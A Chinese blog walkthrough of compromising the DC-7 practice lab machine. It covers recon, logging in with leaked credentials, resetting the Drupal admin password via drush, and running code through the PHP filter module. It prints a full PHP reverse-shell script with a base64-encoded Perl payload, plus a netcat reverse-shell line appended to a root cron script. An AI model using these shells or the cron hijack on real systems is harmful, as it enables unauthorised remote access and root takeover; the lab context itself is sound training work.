渗透测试实战-DC-7-靶机入侵

286 阅读1分钟

​​​​本文已参与「新人创作礼」活动,一起开启掘金创作之路。

信息收集

nmap -A 192.168.1.170 -p- -oN nmap.A

whatweb 192.168.1.170

发现其为drupal 框架,尝试使用MSF 对于这个框架最新的几个攻击模块,攻击失败

进入80端口开放的网站

尝试使用谷歌搜索@DC7USER

在这里我们得到账密 [dc7user/MdR3xOgB7#dW]

尝试使用 [dc7user/MdR3xOgB7#dW]账密登录

ssh dc7user@192.168.1.170

ssh 远程登录成功

测试是否存在默认用户admin

存在admin

drush

通过查询可知drush 命令可以对任意用户密码进行更改

drush user-password admin --password="123456"

手动安装 PHP filter 模块

测试能否执行php 语句

编辑,并保存

执行失败,查看内容发现php语句被修饰

去掉修饰字符,再次点击提交(save)

php 语句被执行

反弹shell

php 反弹shell 代码

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "your IP";

$yourport = 'your port';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

参考自:www.jb51.net/article/178…

反弹成功

提权

在前面我们在dc7user 用户的mail (/var/mail/dc7user)下可以发现存在计划任务

cat /var/mail/dc7user

查看一下backups.sh 的权限,发现 但当前用户 www-data 用户具有写权限,我们通过写权限在该文件中添加反弹shell 指令,当root 用户根据其系统计划任务执行backups.sh 脚本时,会反弹root 的shell

在 /opt/scripts 目录下

反弹执行代码

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.164 1234 >/tmp/f" >> backups.sh

等待。。。

反弹成功

拿到flag